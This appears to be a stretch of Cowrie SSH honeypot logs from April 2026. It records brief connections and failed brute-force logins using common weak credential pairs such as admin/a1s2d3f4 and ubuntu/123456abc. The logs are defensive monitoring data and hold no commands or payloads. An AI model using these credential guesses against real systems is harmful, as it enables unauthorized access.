{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:39:42.924935Z","src_ip":"103.4.145.50","session":"eb1ea86e657a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:39:43.191871Z","src_ip":"103.4.145.50","session":"eb1ea86e657a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo@123","message":"login attempt [odoo/odoo@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:39:44.278181Z","src_ip":"103.4.145.50","session":"eb1ea86e657a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:39:45.545856Z","src_ip":"103.4.145.50","session":"eb1ea86e657a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":21682,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddfecfe5969d","protocol":"ssh","message":"New connection: 107.150.103.210:21682 (10.17.0.5:22) [session: ddfecfe5969d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:40:19.434649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:40:19.442258Z","src_ip":"107.150.103.210","session":"ddfecfe5969d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:40:19.513324Z","src_ip":"107.150.103.210","session":"ddfecfe5969d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456abc","message":"login attempt [ubuntu/123456abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:40:19.829526Z","src_ip":"107.150.103.210","session":"ddfecfe5969d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:40:20.903663Z","src_ip":"107.150.103.210","session":"ddfecfe5969d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":43712,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cf2d026b9fb","protocol":"ssh","message":"New connection: 103.4.145.50:43712 (10.17.0.5:22) [session: 0cf2d026b9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:40:44.609802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:40:44.614687Z","src_ip":"103.4.145.50","session":"0cf2d026b9fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:40:44.869272Z","src_ip":"103.4.145.50","session":"0cf2d026b9fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"a1s2d3f4","message":"login attempt [admin/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:40:45.926933Z","src_ip":"103.4.145.50","session":"0cf2d026b9fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:40:47.184602Z","src_ip":"103.4.145.50","session":"0cf2d026b9fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":34410,"dst_ip":"159.203.135.109","dst_port":22,"session":"cca147375694","protocol":"ssh","message":"New connection: 124.7.227.98:34410 (159.203.135.109:22) [session: cca147375694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:40:49.930057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:40:49.945906Z","src_ip":"124.7.227.98","session":"cca147375694","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:40:50.165166Z","src_ip":"124.7.227.98","session":"cca147375694","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"12345","message":"login attempt [root2/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:40:51.081676Z","src_ip":"124.7.227.98","session":"cca147375694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:40:52.307399Z","src_ip":"124.7.227.98","session":"cca147375694","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":34578,"dst_ip":"159.203.135.109","dst_port":22,"session":"372bba54093d","protocol":"ssh","message":"New connection: 96.70.252.227:34578 (159.203.135.109:22) [session: 372bba54093d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:41:09.251985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:41:09.260687Z","src_ip":"96.70.252.227","session":"372bba54093d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:41:09.296702Z","src_ip":"96.70.252.227","session":"372bba54093d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3bot","password":"123","message":"login attempt [ts3bot/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:41:09.456207Z","src_ip":"96.70.252.227","session":"372bba54093d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:41:10.502240Z","src_ip":"96.70.252.227","session":"372bba54093d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":26764,"dst_ip":"10.17.0.5","dst_port":22,"session":"8379c1a91def","protocol":"ssh","message":"New connection: 107.150.103.210:26764 (10.17.0.5:22) [session: 8379c1a91def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:41:37.578319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:41:37.585698Z","src_ip":"107.150.103.210","session":"8379c1a91def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:41:37.662237Z","src_ip":"107.150.103.210","session":"8379c1a91def","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:41:37.978795Z","src_ip":"107.150.103.210","session":"8379c1a91def","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:41:39.052746Z","src_ip":"107.150.103.210","session":"8379c1a91def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":60710,"dst_ip":"10.17.0.5","dst_port":22,"session":"a36ff97f2a31","protocol":"ssh","message":"New connection: 103.4.145.50:60710 (10.17.0.5:22) [session: a36ff97f2a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:41:45.889202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:41:45.898627Z","src_ip":"103.4.145.50","session":"a36ff97f2a31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:41:46.171822Z","src_ip":"103.4.145.50","session":"a36ff97f2a31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"A123456a","message":"login attempt [ubuntu/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:41:47.269276Z","src_ip":"103.4.145.50","session":"a36ff97f2a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:41:48.540738Z","src_ip":"103.4.145.50","session":"a36ff97f2a31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":42975,"dst_ip":"159.203.135.109","dst_port":22,"session":"b294302afc62","protocol":"ssh","message":"New connection: 124.7.227.98:42975 (159.203.135.109:22) [session: b294302afc62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:42:25.019789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:42:25.024958Z","src_ip":"124.7.227.98","session":"b294302afc62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:42:25.242773Z","src_ip":"124.7.227.98","session":"b294302afc62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"1234","message":"login attempt [teamspeak/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:42:26.161491Z","src_ip":"124.7.227.98","session":"b294302afc62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:42:27.383769Z","src_ip":"124.7.227.98","session":"b294302afc62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":49476,"dst_ip":"10.17.0.5","dst_port":22,"session":"c982c8df958f","protocol":"ssh","message":"New connection: 103.4.145.50:49476 (10.17.0.5:22) [session: c982c8df958f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:42:48.851193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:42:48.856524Z","src_ip":"103.4.145.50","session":"c982c8df958f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchan